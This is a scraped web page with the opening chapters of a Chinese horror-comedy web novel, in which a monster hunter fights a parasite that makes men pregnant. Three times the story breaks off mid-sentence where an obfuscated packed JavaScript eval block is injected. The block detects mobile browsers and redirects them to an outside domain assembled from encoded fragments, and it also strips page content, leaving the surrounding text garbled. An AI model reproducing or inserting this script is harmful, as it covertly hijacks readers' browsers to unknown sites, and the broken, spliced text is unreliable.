《倒霉直男怎么会是恐怖BOSS的老婆》 1. 四季之旅 市中心医院。 妇产科内人满为患,推车被人推行时急速前进的声音宛如清脆的快板声,而病床上的人肚子高高鼓起,因痛苦而发出无力的求救,这一幕发生在这样的环境下,似乎极为正常。 但在护士看见这位病人的病历后,纵是履历丰富的护士也不由得瞪大了眼睛,眼中满是不敢置信。 “快!病人在哪里?要来不及了,快把人送进病房。”身后的医生急匆匆地走过来,见到护士居然还像是个僵硬的雕像似的一动不动,他眉头一皱,护士却在这个时候递给了他病历本。 “我觉得你需要看看这个。” 医生匆匆拿起病历本,在看清上方的文字后,有生以来第一次,他怀疑自己的视力出了问题,所以才会看见如此荒谬的东西,身后的病床上传出歇斯底里的呼喊声,而此地则陷入一种难言的平静,医生将眼镜摘下又戴起来,又回头看了一眼,再三确认后,他说:“我要上新闻了吗?” 诡异的沉默在整个病房蔓延开来,病床上的人猛地抬起身,尖叫道:“医生,医生,救我,我要生了!” 护士听见他的声音,显而易见地慌了一瞬,但下一秒,她又看向了身旁的医生,像是在询问:“该怎么办?” 医生也不知道如何回答她,因为现在那个躺在病床上怀着孕的孕夫,是个男人。 同样的事情在整个医院内重演,短短几小时内,一辆辆推车犹如马路上疾驰的汽车般发出一连串的杂乱声响,伴随着或是倚靠在墙壁上不敢置信的女人看着自己的肚子,发出阵阵的阵阵惊异声;或是刚走了几步,就捂着肚子叫救命的不知名病人的呼喊声组成了一首激烈的乐曲,就在局势混乱到极点的时候,一位年轻的医生随手摘下墙壁上的白大褂,穿过人群走向推车上已经慌得想要跳下车用手脚乱爬的中年男人,镇定地说: “先生,需要帮助吗?” 医生扭过头,望向这位素不相识的同僚,他首先被对方那张英俊到有些刺眼的脸惊了一瞬,接着,他狐疑地扶了扶眼镜:“你是谁?我是这里的主治医师,我从来没有见过你。” “我是从隔壁医院调来的大夫。”对方递给他一张名片,上面清晰地映出对方的名字:洛阳。 “好了,我现在说明一下情况,像他这样的患者在隔壁医院已经出现十几例,而那十几位病人在我的妙手回春下,全部都被解决了。”洛阳一边说着,一边很自然地想要从口袋里掏出一支烟点燃,旁边的护士见此轻咳一声,洛阳顿了顿,将那支烟插回衣兜里,又顺手从医生的口袋里拿走一只笔。 “十几例病人都被治好了?”医生下意识地惊讶了一瞬,接着又询问洛阳的治疗手段,洛阳看他一眼,回答道:“物理治疗。” 洛阳大步向前走了两步,对着已经倒在地上口齿不清的男人打了两个响指,对方的瞳孔不正常地扩张,肚子里的寄生物已经察觉到了一丝危险,正发出令人耳膜生疼,精神萎靡的尖叫声,这种声音可以警示它的同族,只有少数人可以听见这种充满威胁意味的声波,洛阳挑起眉毛,没有理会对方的威胁,观察着面前男人的样子: “陆至,受体性别男,25岁,三个月前腹痛不止,食欲不振、上吐下泻……”洛阳翻着他的病历:“建议终止妊娠,并摘除体内胚胎……” 正在这个时候,对方猛地抬起手握住了洛阳的手腕,但洛阳动作迅速地转过了身,以至于陆至只能抓住洛阳的衣角,洛阳低下头,却只能看见对方的瞳孔收缩,菱形的瞳孔透出一股难言的兽性和恶意,宛如体内正有另外一个意志正在争夺他的身体,陆至张开嘴,发出一阵歇斯底里的声音:“救我,医生,不管做些什么,我是男人,我不可能生孩子!” 洛阳观察着他的样子,突然眯起眼:“你在三个月前就被寄生,却在今天才发展成二级感染,这简直不可思议。”他说:“这位同志,不要担心,我一定会救你,但你得告诉我这段时间发生了什么,我才能为你选择物理治疗,还是传统治疗。” “物理治疗和传统治疗?”陆至沉默了一瞬,意识到了不对劲,他捂着肚子,额头上满是冷汗,说道:“这都是什么治疗手段。” “不用担心,陆至先生。”洛阳低下身,拍了拍他的肩膀,安抚孕夫的情绪:“我接手过十二位像你这样的患者,他们的治疗过程都异常顺利,我甚至没有收到过一个差评。” “是……是这样吗?”听见他的话,陆至似乎是有些被说服了,但心中还有一种莫名的不安,洛阳招了招手,他的身后便走上了两位拿着工具箱的“医护人员”,他们盯着陆至看了一眼后,便麻利地从箱子里取出了一系列的工具,包括长刀、电击棒、以及一闪而过的小型电锯,陆至的心智因身体的折磨而扭曲,但他不傻,在看见这些东西的那一瞬间他的心脏跳得像是要从喉咙里蹦出来,肚子里的东西更是发出了低沉的嘶吼声,像是透过宿主的眼睛看见了这一切,同样陷入了焦躁中。 “不要担心。”洛阳挠了挠头,让黑色的短发显得更加蓬松柔软,他说:“我们是专业的。” 从屋外倾泻而入的阳光落在他的脸上,让洛阳的面容都蒙上一层耀眼的浅光,陆至怔怔地看着这张脸,下意识地放松了一丝警惕,在这样的颜值冲击下,他不由自主地想:长成这样的人,应该不至于对他说谎。 “让我来问你几个问题:你在一开始察觉到异常的时候,身边是否发生了什么异常事件?”洛阳打开手边的箱子,露出排列整齐的药剂,他取出其中一管浅白色的药剂,将其打开后注入到注射器内,一群人早已将陆至搬运进了病房之中,并阻止了其他人在旁旁观,而先前的医生和护士也来不及管陆至在做些什么:因为在外围的走廊内,一群病人已经犹如爬行生物一般从天花板和楼梯上蠕动了过来,口齿不清地喊着救命,让这里混乱地仿佛丧尸围墙。 外围的骚乱并未让洛阳转移注意力,因为他意识到陆至是更特殊的寄生体,听到洛阳的话,陆至咽了咽口水,感受到自己体内传来的动静,难以形容的惊惧使他的眼中含着泪光,直觉告诉他,他肚子里的“孩子”降世的那一刻,就是他的死期。 这可怜的大男人第一次体验妊娠的感觉,就差点被吓尿了裤子。 “医生,我不知道发生了什么,但是……三个月前,对,三个月前!”陆至竭力从床上爬起,从他的肚皮下方仿佛要生出一大团狰狞的触须,正由内而外地挤压变形,几乎像是要撕开他的肚皮后从他的身体里爬出来,那是寄生完成的结果,却也会是陆至生命的结束,陆至说道:“我的弟弟,他从路边捡回来了一个小孩子,他把那孩子带回家照顾,就是在那个晚上,我发现那个孩子有问题!” 他口齿不清、眼中怀着憎恶和恐惧,一把鼻涕一把泪地大声哭诉,与此同时,他的肚子也以一种让人心惊胆战的速度迅速膨胀起来,洛阳的手指敲着他手中的注射器,一边让另外两个人按住孕夫的四肢,一边对准男人的肚子用力地打了下去。 纯白色的药剂在试管内涌动,不似人类的声波在那一瞬间响彻病房,仿佛要将在场的所有人震碎,洛阳伸出手打了个响指,这清脆的咔嚓声后,几乎下一秒就会从陆至的肚子内破体而出,犹如异形中的破胸者般将在场的所有人杀死的怪物怀着怨怼的恨意被药剂溶解,旁边负责辅助洛阳的两个人都忍不住抹了抹额头上的汗水,就在这个时候,陆至的肚皮宛如漏气的气球般扁了下去,陆至不由得露出死里逃生般的笑容,却在这个时候听见洛阳询问道: “还没结束。” 洛阳收起试管,接着说:“你很幸运,你体内怀着的‘子嗣’虽然早就潜伏在你的身体内,却并未迅速壮大,夺走你的生命力。”洛阳摩挲着下巴,似乎在思索着什么:“这不符合它们的习性,除非……有人命令他们这么做。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893504|159989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“一定是他!”陆至听到洛阳的这番话,便一口咬定说:“一定是那个该死的混账小子,我早就知道他不是什么好东西!” “你说你的弟弟将他带了回来,那你弟弟人呢?也许他知道些什么。” 听到洛阳的话,陆至沉默了一瞬,接着,他支支吾吾地说:“他也怀孕了。” 洛阳:“……” “这算什么,是兄弟就一起生?”洛阳身旁的一个短发男人下意识地吐出这句话,他看上去比较年轻,说话也格外直接些。 “这就是‘繁衍’的可怕之处。”洛阳说,这荒诞的、犹如污染般无法阻挡,也无力避免的现象曾在几个月侵蚀了一座城市,并感染了其中三分之一的青壮男女,使得他们不分性别、也不分年龄地怀上子嗣,并在之后成为子嗣进化的养分。 听到洛阳的话,他身边的几个人都缓缓后退了一步,看样子并不想成为其中的一员,洛阳看上去倒是并不在乎这些,他耸了耸肩,说道:“听上去还挺有趣的,不是吗?” 随着他说话的功夫,洛阳缓缓拔出针管,一管深黑色的液体就这样被他从陆至肚子里抽出,那团浑浊的液体先是在针管内蠕动,片刻后,它竟犹如滚动的黑珍珠般在玻璃壁内来回滚动、冲撞,又如雨点般汇聚在一起,最终形成了一小团布满狰狞尖刺的巨口,向着洛阳的方向低声咆哮。 洛阳将这管提取出的东西扎入另外一个仪器内,片刻后,上方显示的信息让他眼睛一亮:“哈,果然是含有初代‘繁衍’因子的子嗣,兄弟,你的身边一定有散播因子的凶手,我们可是中头彩了。” 洛阳这么说着,他吹着口哨,将散发出鲜红亮色的指示器取出,这个仪器会指引他寻找造成这场瘟疫的根源,而就在洛阳将仪器对准陆至的时候,在所有人的目光下,那小小的东西竟在这一刻发出了急促的嗡嗡声。 所有人都将目光望向了陆至,而男人神色懵懂,表情茫然,不似作伪。 “你的身上有什么东西?”洛阳伸出手,一把掀开了陆至本就散乱的上衣,只听见撕拉一声,在陆至上衣的口袋内,一团又小又软,只有巴掌大小的东西刚准备鬼鬼祟祟地悄悄溜走,它才悄悄地探出一个脑袋,小小的触手扒在衣物上,还没来得及做些什么,就在洛阳的动作下被猛地甩了出去。 “叽!” 只听见一声似幼猫叫声、又似某种小动物般细小的嗡鸣声在空中一闪而过,在病房外,所有听见这道声音的患者们都纷纷抬起了脸,眼瞳同时变为了菱形。 吧唧、吧唧。 只听见这样几声声音响起,像是富有质感、沉甸甸又柔软的水袋摔在地上,仿佛刚刚有流星划过,让空中留下了几道柔软的光带,却是那团小东西所残留的痕迹,洛阳谨慎地上前一步,他朝着声音传来的方向看去,就和一只圆头圆脑、长着几条触须和纽带,形似蘑菇,又似水母的生物对上了眼。 下一秒,洛阳毫不犹豫地一脚踩了上去——不知道为什么感觉就是应该踩一脚。 邪恶人类的邪恶计划落空了,那只小怪物慌得整个伞盖都膨胀起来,被吓得掉头就跑,只知道慌不择路的逃,一边跑,一边还在空中不断流出一个个小小的七彩孢子。 看来,这就是“繁衍”传播子嗣的途径了。 “我去抓住它。”洛阳毫不犹豫地追了上去,只留下一句话:“你们看好陆至,不要让其他人靠近他,也不要让自己中奖!” 刚准备追着他一起离开的几个人脚步停顿了一瞬,前方的洛阳回过头,解释道:“呃,我的意思是,不要让自己怀孕,毕竟子嗣成长的速度很快,你们还年轻,不应该承受养育孩子的责任。” 听到他的话,其他人的脊背一凉,一股恶寒划过,让他们集体退后了一步,洛阳耸了耸肩,脚步敏捷地追着空中残留的光带一路前进,犹如嗅闻着猎物的信息素,在森林中追随着对方的野狼。 2. 四季之旅2 很好。 洛阳冲出房门的那一瞬间,一群早已挤在门前,犹如被操控的木偶般浑浑噩噩敲打着房门的病人们便被洛阳用力挤开,虽然礼让孕妇和孕夫是传统美德,但在这样的情况下,洛阳并不想变成沙丁鱼罐头里被挤压的倒霉蛋,就只能身姿灵活地绕开拦路的人,就像是在丛林中快速前进的猎豹。 很好,他们拦不住我。 洛阳的动作极为迅速,而前方的小东西被他追逐,便只能上蹿下跳地到处逃命,这一场紧张刺激的追逐战让洛阳像是身临一场躲猫猫游戏,只不过他不是猎物,而是猎人;前方的小怪物不是狩猎者,而是猎物。 “找到你了!”洛阳手中的仪器发出滴答声,让他总是可以快速寻找到对方的踪迹,而沿途行走的病人或医生,只要是被孢子感染的存在,无论体内的子嗣孕育到了什么阶段,都犹如收到了某种召唤一般,要不顾一切地来阻止他。 混乱的人群朝着洛阳汹涌而来,一名病人倒在他的面前,突然口吐白沫,他的肚子飞速膨胀、膨胀,血肉撕碎又重组的声音响起,一只狰狞可怖的子嗣便在洛阳的面前降世,对着他发出浑浊的嘶吼。 “小东西,”洛阳四处看了一圈,打碎了面前的玻璃,从消防通道里取出了一把斧头,他的步伐轻快、语气冷淡:“我现在可没空和你玩。” 这刚刚成型的子嗣尚未造成它出世的使命,便被洛阳毫不留情地砍成了两半,这种怪物体型庞大可怖、拥有高速移动的能力、强健的体魄以及非人的力量,但无论它们的始祖给予了它们多少能力,在洛阳面前,这些东西都只是可以一斧头砍死的猎物。 毕竟,洛阳是灯塔组织最强的猎人,最有力的尖刀和利刃。 似乎是察觉到了他的威胁性,接二连三的嘶吼声传来,一个又一个子嗣脱体而出,朝着洛阳的方向涌来。 “我处理过比你们长得更丑的怪物。”洛阳手中拿着斧头,他说话的语气是沉稳的、声音清越有力,他站在这里,胸前的名片来回晃动,发出咔咔的声响,点点血丝也从上方落下:“我也处理过比你们更讨人厌的东西,我是说,在另外一个医院里,我所做的物理治疗可从来没有任何差评。” 他甩了甩手,斧头上的血水便如雨点般落下,散在地面上的那一瞬间恰如只为洛阳一人绽放的血花,洛阳的身影在战争中被血色蒙上一层嫣红,他看上去是张扬的、凶悍的,怪物们死前的哀嚎声仅能作为他舞蹈的陪衬,若这是一场舞台剧,当他挥舞武器时,便犹如一位骑士挥舞长剑;君王手握权杖般,旁观者只能看见他黑发下的犀利目光,宛如水波荡开,从层层浪花中突出的一把锋利刺刀。 洛阳挥舞着斧头,大批大批的怪物倒下,男人矫健的身影仍然在追寻着猎物,那个呆头呆脑的小怪物已经趁着这个机会躲进了某个缝隙或障碍物的掩盖之下,将自己仔仔细细地掩盖起来,那些子嗣似乎受着它的召唤而保卫着它,而作为它们的本体,某种程度上掌握着繁衍与扭曲之力的存在却像个被洛阳吓得只知道躲的幼猫,只顾着把自己藏起来,在战场的边缘瑟瑟发抖,连影子都抖得发颤。 “出来。”洛阳劈开最后一具怪物,地上便满是杂乱的尸体,但还有最后一位活人正发着抖看着这一幕,她下意识地以为洛阳是在叫她,结果刚一挪出来,就差点被洛阳迎头来一斧头。 “是你。”洛阳愣了一瞬,认出这是之前见过一面的护士,他观察着面前瑟瑟发抖的人,多年的战斗和经验告诉他,面前的人还没有被寄生。 “护士小姐。”面对活人,洛阳的声音就显得和气多了,虽然护士看他的样子就像是见了什么怪物似的,他伸出手把人拉起来,却见到护士摆了摆手,她说:“我……我要吓尿了。” 她看着面前的满地狼藉,颤抖地说:“这就是你的物理治疗吗?” 洛阳:“……你可以走了,但不要再接触这些东西,最好戴上口罩和帽子。” 护士呆呆地点头,她刚要转身离开,洛阳却突然叫住了她,护士看上去像是真的要被吓哭了,洛阳掏了掏口袋,抽出之前的那根烟示意:“我现在可以抽烟了吗?” “啊?” “这里的所有病人和医生都跑了,我应该不会再打扰到其他人,所以,我可以抽根烟吗?” “不行。”护士犹豫了一瞬,职业道德让她下意识地反驳,但看见洛阳手里提着的那把斧头,她的话音一转,又说:“行……应该行吧。” 洛阳看了她一眼,男人的唇边噙笑,接着慢慢伸出手,啪地一下,一缕烟火在屋内点燃,若有若无的火焰照出洛阳高挺鼻梁上的一点亮光,他看着护士离开,拿出仪器继续刚刚的捉迷藏,随着他的仔细寻找,小怪物的躲藏地点也越来越少,直至最后的无路可退。 洛阳能够用自己的直觉和仪器寻找到躲起来的猎物,但那团菌菇般的小东西却可以将自己蜷缩起来,隐没在房间的任何一个角落里。它第一次藏在了墙角,像是一朵纯白的、只泛着点点蓝色花斑的菌菇,被医院雪白的墙壁一遮,简直犹如作弊般毫无瑕疵,但洛阳还是找到了它,男人还没有来得及抓住那只小东西,对方就灵活地伸出触须乱爬,犹如多脚蜘蛛般逃走了,只在原地留下几道流光。 而第二次,它将自己牢牢地扎在一株盆栽的阴影之中,像是一朵呆头呆脑,长相浑圆可爱的秀气蘑菇,洛阳砍死几只拦路的子嗣,在房间里来回走了两圈,像是完全没有发现它的踪迹,让这朵自以为成功的小蘑菇发出嘲笑般的嗡嗡声,但在它放松警惕的下一秒,一把沾染着子嗣鲜血的斧头却毫不犹豫地砍向了它的方向,洛阳的身影就那样拦住了它的去路,几乎差点将它切成两半! “叽!”小蘑菇被吓得从伞盖里喷出几颗泛着惨白色彩的孢子,见到洛阳冷哼一声看着它,情急之下,它居然当着洛阳的面伸出短短的触手,原地进化成了一团飘在空中的水母云……蘑菇云,然后手忙脚乱地飞走了。 飞走了…… 洛阳擦了擦眼睛,不敢置信。 “你这可恶的小东西!”洛阳快步追了过去:“别让我抓到你,否则我就把你切片研究!” 听到洛阳的这番宣言,小蘑菇跑得更加快,软软的触须在空中扑腾扑腾,吧唧一下贴上了天花板后,就用软软的身体吸附住了墙壁,接着钻进了不知名的孔洞中,吸溜一下逃走了。 简直就是一个最滑腻、最可恶的小贼。 洛阳被气笑了,他追随着信号一路赶到了二楼,因下层楼的怪物几乎被他一个人清理了干净,二层便显得空荡了许多,只能依稀见到几个病人倒在地上,发出无力的哭喊声,他们似乎也察觉到了不对劲,但因为身体原因,更多的却是无能为力,洛阳面无表情地走入二楼,浑身杀意的他便如混入羊群的狼,散发着一股难言的血腥味。 他手持着长斧,一扇扇打开病房的大门,仪器发出的滴滴声提醒着他越来越靠近猎物,而那只小怪物则狡猾的躲在暗处,试图逃过他的追猎。 消防斧在地上拖出道道痕迹,追寻着空中流下的光带,在靠近一个房间时,仪器发出了刺耳的嗡鸣声,但就在这一刻,洛阳面前的房门却唰地一声打开,一具格外庞大的子嗣正站在他的面前,它形如猛兽,通体流淌着漆黑的液体,让它宛如从黑河深处钻出的修罗,这可怖的怪物发出震耳欲聋的咆哮,朝着洛阳的方向冲了过来,而就在洛阳和它缠斗的那一刻,他却余光一闪,看见一只小小的蘑菇正贼头贼脑地扒在天花板上,伞盖般的大脑袋时不时地转动着,蔚蓝色的斑点便如同变换的斑点般在它圆滑的表面收缩,而就在洛阳看过去的那一瞬间,这只小怪物却突然撑开了身体——像一只进入了捕食状态中的、八爪绷直的畸形蜘蛛,朝着洛阳发出一声威慑般的大声嗡嗡,接着朝他张牙舞爪地冲了过来! 而就在此时此刻,子嗣庞大的身躯却不顾一切地迎了上来,任由洛阳几乎一斧将它劈成两半,也要用自己的身躯卡住他的武器,限制他的行动。 这是一个陷阱! 就算是一只看似无害的兔子,在被猎人追杀的时候,也会不顾一切地四处躲藏,亦或是竭尽全力的反抗。 而在洛阳面前的,则是一个凶恶的怪物。 那只小蘑菇在空中划过几道光带后,便要凶戾且阴狠地落在洛阳的身上,伴随着它下坠的动作,洛阳看见它浑身的触须都尽全力张大,伞盖之下更是不断地涌出滴滴答答的、粘稠柔软的黑泥,无论如何,被这家伙这么一盖,都不会是什么好体验。 但洛阳的斧头在子嗣身上卡了一瞬,他狠厉地切碎了对方的胸膛,让两颗畸形的心脏破碎开来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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它报复似的啃掉了这几段小触须后,无视了室内的一片狼藉,以及周围的一切,就这样径直地走向洛阳,在挨近男人之后,这只小鸟的样子才彻底暴露在灯光下:它通体金黄,每一根翎羽都仿佛黄金所铸,在灯光的照耀下流转出闪金般的光泽,若是它展开流光溢彩的羽翼飞向童话中的国王,恐怕对方便会将它视为天神派来的使者,将这只黄金鸟奉上王座,并将自己的王冠作为装点对方的陪衬。 所以,在这只小鸟的头上,也确实戴着一个小小的、金色的王冠。 但即使如此,因它的体型偏小,又因它因为刚刚发生的一切而显得气恼至极,以至于它浑身上下的毛都大了一圈,犹如炸毛一般,整个躯体都毛茸茸的,远远走来的时候,倒真显得圆滚滚的、尾巴都显得格外蓬松。 “啾!”它走到洛阳的面前,跳到一旁的桌子上,用小眼睛盯着自己的挚友,洛阳呼唤着他的名字:“白芷。” 这是白芷意识的化身,也是他能力所化的使者。 下一秒,洛阳便看着这只圆滚滚的小鸟在他面前清脆地叫了一声,接着便摇头晃脑地往前跳了几步、哒哒哒地跳到桌边、跳到洛阳张开的手掌上、最后跳到了男人的肩头,它盯着洛阳,身子突然往下一沉。 小鸟的小腿就那样消失在了发丝之间,它理直气壮地挺起胸脯,表露出了一个意思:一定要洛阳摸摸它才肯说话。 洛阳:“白芷,现在时间很紧迫,繁殖的意识还在逃跑。” 小鸟:“啾!” 它什么都不知道,它只是一只小鸟。 “好吧。”洛阳能怎么办呢,他只能伸出手,用手指尖揉了揉这团小东西,从它的小脑袋和小王冠,一路摸到它柔软蓬松的身体,黄金鸟的身体顿时软了下来,小脑袋一沉一沉,像是舒服地受不了了似的,被洛阳温暖的指腹一戳,就什么都忘了,只想滚在洛阳温暖的掌心撒娇。 它就这样滚啊、滚啊,却全然忘记了自己正在男人的肩头,爪子一松,就差点从半空摔落下去。 洛阳:“!” 他连忙接住这团小东西,看着它猛地抬起头,一副不知道刚刚发生了什么的样子,洛阳将它的小王冠扶正,接着轻咳一声:“白芷,我需要你的帮助。” 在他的掌心,那只小鸟站直了,它的舌头像是被点化一般,从口中吐出了属于人类的声音,却是一道无比温柔、宛如阳光般温暖,像一团闪闪发亮的荧光般让自身的心情都被点亮的声音: 白芷张口,隔着遥远的距离,洛阳的挚友轻笑起来,用悦耳的声音亲昵地呼唤他的名字,叫他: “小太阳。” 3. 四季之旅3 洛阳挑了挑眉,算是应下了白芷的这句话。这是只属于他们之间的亲昵。 洛阳拥有过很多称谓,有人称他顽童、有人将责任压在他的身上,称呼他为带领其他人前进的灯塔、而除了他的名字以外,会用这种语气这么称呼他,并还被他所接受的,也就只有他的这位挚友了。 洛阳并未拒绝过白芷的呼唤,所以当洛阳用太阳来形容他时,所有人都会知道他在呼唤洛阳的名字。洛阳直奔正题:“你查出‘繁育’意志的消息了吗?” “有,我查到了很多。”咔咔的声音传来,是白芷远程将资料传递给了洛阳,小鸟展开翅膀在自己身上啄了啄,便自行取下一根黄金般的羽毛,将其递到洛阳面前。 洛阳用手接过,那根羽毛内蕴含的资料便落到了他的手上,他一页页翻开,眉头慢慢皱起。 “陆至并不是重点,他的弟弟才是最先接触到‘繁育’使者的存在。”白芷的声音传来,为洛阳细细地解说,而在这个过程中,黄金鸟则犹如跳竹竿似的在洛阳的手臂上蹦来蹦去,尾巴上下晃动,活像一只长毛的小狗。 “在三个月前的一天晚上,陆至的弟弟陆亭收留了一个孩子,叫做许南,许南被他的生母弃养,赶出家门,陆亭偶尔撞见了这一幕,不知为何将他带回了家。”白芷的声音十分温和,在提起这些资料时,他的语气也毫无变化:“但陆亭不知道的是,许南早在几天前便成为了‘繁育’使者的信徒,那是在几年前曾经侵蚀过A城的使者,它所造成的污染导致了A城的大混乱,只要是符合‘繁育’标准的存在,无一例外,都被其所污染为子嗣的培养巢。” “为什么繁育会选择这样一个孩子作为它的信徒?”洛阳的语气有些疑惑,他不是没有看见过类似的情况发生,甚至见到过更恐怖、更荒诞的事,但那些灾难的中心却都是来自于掌权者的私欲;亦或是为了复仇、为了取乐而造成的种种恶事,但这件事的源头却来自于一个普普通通的孩子……这让洛阳无法理解。 “我现在还不知道当初究竟发生了什么,”白芷说:“但我只能告诉你,现在的‘繁育’使者的目的和之前的那一位完全不同,所有使者霍乱的根源和目的都并不相同,哪怕它们都隶属于同一个概念污染。” 洛阳翻开手中的资料,那个被陆亭收留的孩子的照片也被他翻了出来,他看上去像是十来岁的样子,长得又瘦又高,比起同龄人来说,他像个营养不良的小孩,明明是应该阳光顽劣,且肆意妄为的年龄,他的眸光却格外阴森、黑沉。 照片里的他被他的母亲揪着耳朵,毫不留情地在大冬天的晚上扔到了外面,一旁的资料说明这样的事情已经不是第一次发生,他的母亲似乎从来没有尽过父母的指责,也吝啬于对于她的孩子流露出任何一丝母爱。 “这一届繁育的使者和之前不同。”白芷的声音传出:“比起污染一切,将万物变为它和同族的培养巢,让它的种族传播到这世界的每一个角落,这一届的繁育使者的目的,似乎更像是……” “在为自己寻找一位‘母亲’。” 洛阳翻着资料,下一页,陆亭的身影出现在了路边的监控之中,可能是终于无法忍受下去,也可能是再也无法承受良心的拷问,这个看上去年纪轻轻且老实温厚的男人牵着许南的手,将他带回了自己的家。 洛阳眯起眼,观察着手中的资料,根据他现在手中的线索,洛阳一边思索,一边顺手将蹦蹦跳跳的黄金鸟抓到了手里,看着它发出疑惑的啾的一声,伸出手指摸着它的小脑袋,一边说:“我有一个想法。” 白芷没有回话,但洛阳知道他在听。 “你说这一届‘繁育’的目的和上一届不同,那么如果那个小怪物的目的不是把自己的孢子撒遍世界的每一个角落,接着让所有人都变成黑漆漆的又丑又难看的怪物的话,那以现在的情况来说,它的目的就像是想要让所有人都变成‘母亲’。” 不管男女,无论性别,只要是被繁育盯上的人,便都会被赐予妊娠的能力,但因他们所感念的神祇是一位恶神,所以他们所妊娠的也不是人类、不是他们的孩子,而是因畸变而诞生的子嗣。 “但以许南的经历来说,他即使不憎恨自己的生母,也不会去亲近母亲才是,他这么做,又是为了什么?” 洛阳皱起眉,接着又翻了翻资料,意识到一件事:“白芷,许南的母亲还活着吗?” 白芷的声音温和:“她还活着。” “并且,她也怀孕了,即使她之前堕过许多次胎,早已失去了生育能力。” 即使许南的母亲对他做了那些事,但她仍然活着,他竟然没有报复她吗?洛阳突然意识到一个盲点:“那他的父亲呢?” “死了。”白芷说。 洛阳沉默了一瞬,接着,他说:“那么对于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“好吧。”洛阳点了点头,将黄金鸟放在桌子上,敲着它的小脑袋:“那我们就下赌注吧,你输了,就要答应我陪我参加那场‘无聊透顶而且还吵闹喧哗’的海边演出;我输了呢……”洛阳的声音拉长,他笑了笑:“就答应你一个同样价值的条件。” 白芷悦耳的声音传了过来,他说:“一言为定。” 两个人之间的联系就此断开,黄金鸟啾啾地叫起来,在洛阳的掌心又滚了一圈后,便翎毛整洁漂亮,闪闪发光地飞走了,它展开翅膀,很快便将自己所遇到的一切传递了出去,洛阳看着自己手中的资料,他若有所思,在这几个人之中最重要的,或许还是陆亭,以及许南的亲生母亲。 4. 四季之旅4 他记忆中的冬天总是很冷。 冬天到了,许南却仍然只穿着一件单薄的衬衫,头发黑乎乎地垂下来,显出一股无法掩饰的脏乱,像个小野兽。 他长得很高,却很瘦,这样大的孩子眼神却只让人感觉心惊肉跳,像是一但和他对视,就会被那漆黑的乌色捕捉。 陆亭只是一个普通的小卖铺老板,并不知道自己对街邻居家的小孩正在挨饿,这两天,他店里隔三差五的丢东西,也不多,就是一些小零食和面包,他在网上买的监控到了之后,才锁定了嫌疑人:是一个看上去还很年轻的中学生。 对方似乎非常聪明,总是趁他不注意的时候偷偷溜进来,陆亭一开始认为他惯偷成性,但在监控之中,对方却只是悄悄地潜入小卖铺内,以一个近乎完美的机会错开了陆亭的视线,溜到货架边缘,将那些货架上摆放的小饼干、巧克力,以及巴掌大的、廉价且充满劣质奶油的面包偷偷塞进怀里带走了。 除此之外,对方别的什么也没偷,这样一来二去,陆亭却又不知道该拿他怎么办了:偷窃是件可大可小的恶行,但若是一位孩子来偷盗食物——并且对方还是躲在小巷子里,近乎狼吞虎咽地将一整块面包塞进嘴里吃了,他似乎很珍惜这来之不易的食物,行事十分小心,并会将剩下的东西都藏进衣兜里,只有在实在饿到受不了的时候,才会来“光顾”陆亭的小卖铺。 陆亭想,他要报警把这孩子抓进警局吗?那他得成什么人了。 但真的就这样任由对方发展下去,那便是在纵容对方行恶了,陆亭很想帮助他,又想道:他的父母去哪里了,他没人管的吗? 陆亭再三思量,最终还是按下了这件事,他有心想要逮住对方和他说句话,却在终于找到机会的时候只看见对方警惕且冷漠的眼神;许南的身体绷得紧紧的,那模样总让陆亭看见一只走丢的流浪猫,连发丝都透出抗拒。他只能选择委婉地将对方所需要的东西单独摆放在某个货架上,而下一次许南过来的时候,这小孩的脊骨似乎都僵硬了一瞬,又在下一秒强行维持住了平静的姿态,全身上下只剩下一层薄薄的尊严,只要陆亭开口说一句话,就可以将他彻底击碎。 陆亭最后还是什么都没说。 陆亭在打听许南的事,却只知道他的父亲不常回来,而他的妈妈则完全不管他。 以至于到了冬天,在陆亭都已经穿上大衣的时候,许南的身上还穿着一件单薄的衬衫,在寒风里冻得发抖。 他的妈妈又将他从房间里丢了出来,室内很暖、呼呼的暖风衬得屋内的空气都是温热的,女人喝得醉醺醺的,在恍惚中看见了许南的脸,却只觉得一阵反感。 “你长得真让人讨厌。” 她把自己的儿子扔出家门,又喝着酒走了回去,许南站起身,久久地凝视着房门,片刻后,他开口呼唤着对方:“妈妈。” 他透过窗口看见房间里的女人,却仿佛在望着一个不属于他的世界,许南被隔绝在外面,悄无声息地消失了,再出现的时候,他已经来到了陆亭的小卖铺,这一次他直接走过了那摆满了食物的货架,而是来到了另外一边。 陆亭一开始还当做没有看见,但他后来坐不住了。 因为这一次,许南拿的东西,是一把美工刀、一捆绳子和胶水。 陆亭:“……” 这对吗? 他不得不拦在许南的面前,看着面前仍然满脸阴郁的小孩子,伸出手,从他的兜里摸出了那些东西,陆亭顶着许南黑沉的眸光,对他说:“没付钱就想走?”他拽着许南的手把他拖回来,这小子手腕细的只剩骨头,力气却很大,陆亭说:“这是你妈妈让你买的东西吗?” 许南直直地盯着他,片刻后,他缓缓从兜里掏出了一张皱巴巴的现金,陆亭的脑子简直跟被雷劈了似的,你明明有钱,之前还偷老子东西? 但他冷静下来一想,又觉得不对劲,这钱不会也是他偷来的吧? 